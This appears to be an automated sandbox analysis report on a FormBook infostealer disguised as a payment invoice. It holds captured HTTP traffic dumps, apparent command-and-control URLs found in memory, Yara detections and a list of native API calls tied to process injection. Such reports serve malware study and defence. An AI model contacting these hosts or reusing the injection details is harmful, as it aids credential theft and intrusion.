ba c4 09 fa 88 73 9c 10 8e 6c fb e2 10 21 84 fa 22 e2 b4 90 17 8d e1 38 8f 80 7f 63 62 c5 96 b0 52 8b 9a b3 c9 d7 f4 5b 08 3f fe fc f3 eb b7 1e fc e1 14 63 31 6a cc 4e 12 99 39 42 62 2e 4f ba 8a 4c 4e 26 e8 27 2c 49 c3 74 12 22 2f 69 46 1a a6 45 ee 48 2e bb 0a f6 46 9c cc cd de 1d e6 68 18 c6 00 f2 3e 25 19 c9 a5 78 3b bd c4 c9 af 38 23 0d 61 7e f5 be 59 8a da 4d 18 3b 11 27 58 92 12 ac 21 4c 2b 4e c3 f4 28 3c 89 b1 c4 bf e0 29 e1 27 6f 4e 8e d3 f0 e4 75 da 3d 39 e9 dd 38 58 4c f3 28 94 7c 4c 7a 37 8e e0 51 a8 28 9d 2c b2 c2 64 32 71 12 65 06 89 93 4c 1b c1 89 58 e6 6a e9 de d0 38 3c 79 4d 5f c7 69 6f e8 14 98 93 5c fe ca 62 e2 d0 5c 10 2e df 92 21 e3 a4 71 63 0d cd 9e 22 3b 37 1b 13 9a c7 6c 62 c5 2c 1a 83 84 d6 89 36 e4 89 55 91 d0 3a f9 db e5 47 fb e3 bf fe db e9 d9 df 4f Data Ascii: 16ef<r8WL-Nx$:IvS.($ ^/iq?aDTmsn<,>B) mHr}f,sdR0.\\rFV9pJB_QIi~8IClHSb'IY&Y8'0wM$!)#B&XTtYN0.H-84byW%u\J6 nIv+G
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 24 Oct 2024 13:31:37 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingX-Powered-By: PHP/7.4.33cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DCHOoxPsJaPWs9EBkOG%2F0B%2FjJzSPfqRpowV44KZX77grvGMuWFrh%2BGp%2FPjmcD4VLxKermaFoMY2CCeff3gWmRdsKnObkJmeUTau1qK%2FTHvMBN68wNO5lw3IVzhihiIOtlfCtlYuFbeA%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d7a54067a6345fb-DFWContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1077&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=691&delivery_rate=0&cwnd=225&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 00 00 00 ff ff 03 00 00 00 00 00 00 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 190
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 24 Oct 2024 13:31:40 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingX-Powered-By: PHP/7.4.33cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6XoHLcYZuLwxjhLPCIUxlwo86rJWge7qcg2vCsH8CElroyIesz%2FpaGU%2FqTHIz%2F3%2FongVCEeCw44LaYQIaCfx1NH%2BYcIpl25H3ESRGflrn02lS3QDpphriAxuqP0wuWaBRmRQ64V4jf4%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d7a54165977464e-DFWContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1209&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=711&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 00 00 00 ff ff 03 00 00 00 00 00 00 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 190
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 24 Oct 2024 13:31:42 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingX-Powered-By: PHP/7.4.33cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vqoyXcAqf%2FeGAMp%2FmLm3K5Qrz8imcU57RBqdHCnhQgvEdeHB%2F1O32xmLFvg6IvUMr%2BwaUdIInu4i44RLtbtEohBXrfMjXZ8N4UbDZl6oKNxv8v%2FsgWt5r1pHXWS%2FREC0FcP2hp1TEDU%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d7a54266c6b83a1-DFWContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1378&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1728&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 00 00 00 ff ff 03 00 00 00 00 00 00 00 00 00 0d 0a Data Ascii: 19
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 24 Oct 2024 13:31:45 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingX-Powered-By: PHP/7.4.33cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2ET%2BJwMAwEgYpZKAkdNYkPt7KcevZM9KfP8gYRXHpemXgxm8fA3c01KUXGl8XP0qazUPrLPrVikGuFgyuPB5PT9hgmBy6%2BvG6bHw700W7XuucYu0wDKVRKv7s%2BYoub9xqZ3Nk0ZemaE%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d7a54362aeba91e-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1132&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=418&delivery_rate=0&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 24 Oct 2024 13:31:50 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 24 Oct 2024 13:31:53 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 24 Oct 2024 13:31:56 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 24 Oct 2024 13:31:58 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: cJjnESPXORw.exe, 00000005.00000002.3914135541.000000000485C000.00000004.80000000.00040000.00000000.sdmp, xcopy.exe, 00000006.00000002.3913169084.000000000401C000.00000004.10000000.00040000.00000000.sdmp String found in binary or memory: http://estrela-b.online/62tt/?C6=EXkTb&pZxtux=2eR3StT9zNfU5ywUIZ2bgc3wtAC6ZBxlVhDhLCkeE
Source: cJjnESPXORw.exe, 00000005.00000002.3914135541.00000000049EE000.00000004.80000000.00040000.00000000.sdmp, xcopy.exe, 00000006.00000002.3913169084.00000000041AE000.00000004.10000000.00040000.00000000.sdmp String found in binary or memory: http://meanttobebroken.org/zdt7/?pZxtux=OdyTsfpKOp
Source: Due Payment Invoice PISS2024993.exe String found in binary or memory: http://tempuri.org/DataSet1.xsd
Source: cJjnESPXORw.exe, 00000005.00000002.3915813020.00000000062CE000.00000040.80000000.00040000.00000000.sdmp String found in binary or memory: http://www.ak711ka10.lat
Source: cJjnESPXORw.exe, 00000005.00000002.3915813020.00000000062CE000.00000040.80000000.00040000.00000000.sdmp String found in binary or memory: http://www.ak711ka10.lat/o5z9/
Source: xcopy.exe, 00000006.00000002.3915201437.0000000007AF8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: xcopy.exe, 00000006.00000002.3915201437.0000000007AF8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: xcopy.exe, 00000006.00000002.3915201437.0000000007AF8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: xcopy.exe, 00000006.00000002.3915201437.0000000007AF8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: xcopy.exe, 00000006.00000002.3915201437.0000000007AF8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: xcopy.exe, 00000006.00000002.3915201437.0000000007AF8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: xcopy.exe, 00000006.00000002.3915201437.0000000007AF8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: cJjnESPXORw.exe, 00000005.00000002.3914135541.0000000004538000.00000004.80000000.00040000.00000000.sdmp, xcopy.exe, 00000006.00000002.3913169084.0000000003CF8000.00000004.10000000.00040000.00000000.sdmp String found in binary or memory: https://fonts.googleapis.com/css?family=Poppins:400
Source: xcopy.exe, 00000006.00000002.3911641445.00000000029D5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: xcopy.exe, 00000006.00000002.3911641445.00000000029D5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: xcopy.exe, 00000006.00000002.3911641445.00000000029D5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: xcopy.exe, 00000006.00000002.3911641445.00000000029D5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: xcopy.exe, 00000006.00000002.3911641445.00000000029D5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: xcopy.exe, 00000006.00000002.3911641445.00000000029D5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: xcopy.exe, 00000006.00000003.2595134579.0000000007A2A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: xcopy.exe, 00000006.00000002.3915201437.0000000007AF8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: cJjnESPXORw.exe, 00000005.00000002.3914135541.00000000043A6000.00000004.80000000.00040000.00000000.sdmp, xcopy.exe, 00000006.00000002.3913169084.0000000003B66000.00000004.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.shintow.net/ow7i/?pZxtux=D6NwXqVIZVbqudPbukfKSXslB0cDplrj7EaXwER037qfX6kPuWmDYfQvQA/Ze

E-Banking Fraud
barindex
Yara detected FormBook
Source: Yara match File source: 3.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.2419425677.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.3911460073.0000000002800000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.3912564101.0000000002BE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2420013773.0000000000F50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.3912510675.0000000002B90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.3912731474.0000000003070000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2421355928.0000000001ED0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary
barindex
Initial sample is a PE file and has a suspicious name
Source: initial sample Static PE information: Filename: Due Payment Invoice PISS2024993.exe
Contains functionality to call native functions
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Code function: 0_2_098D2CA8 NtQueryInformationProcess, 0_2_098D2CA8
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Code function: 0_2_098D2CA0 NtQueryInformationProcess, 0_2_098D2CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0042C403 NtClose, 3_2_0042C403
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022B60 NtClose,LdrInitializeThunk, 3_2_01022B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022DF0 NtQuerySystemInformation,LdrInitializeThunk, 3_2_01022DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022C70 NtFreeVirtualMemory,LdrInitializeThunk, 3_2_01022C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010235C0 NtCreateMutant,LdrInitializeThunk, 3_2_010235C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01024340 NtSetContextThread, 3_2_01024340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01024650 NtSuspendThread, 3_2_01024650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022B80 NtQueryInformationFile, 3_2_01022B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022BA0 NtEnumerateValueKey, 3_2_01022BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022BE0 NtQueryValueKey, 3_2_01022BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022BF0 NtAllocateVirtualMemory, 3_2_01022BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022AB0 NtWaitForSingleObject, 3_2_01022AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022AD0 NtReadFile, 3_2_01022AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022AF0 NtWriteFile, 3_2_01022AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022D00 NtSetInformationFile, 3_2_01022D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022D10 NtMapViewOfSection, 3_2_01022D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022D30 NtUnmapViewOfSection, 3_2_01022D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022DB0 NtEnumerateKey, 3_2_01022DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022DD0 NtDelayExecution, 3_2_01022DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022C00 NtQueryInformationProcess, 3_2_01022C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022C60 NtCreateKey, 3_2_01022C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022CA0 NtQueryInformationToken, 3_2_01022CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022CC0 NtQueryVirtualMemory, 3_2_01022CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022CF0 NtOpenProcess, 3_2_01022CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022F30 NtCreateSection, 3_2_01022F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022F60 NtCreateProcessEx, 3_2_01022F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022F90 NtProtectVirtualMemory, 3_2_01022F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022FA0 NtQuerySection, 3_2_01022FA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022FB0 NtResumeThread, 3_2_01022FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022FE0 NtCreateFile, 3_2_01022FE0
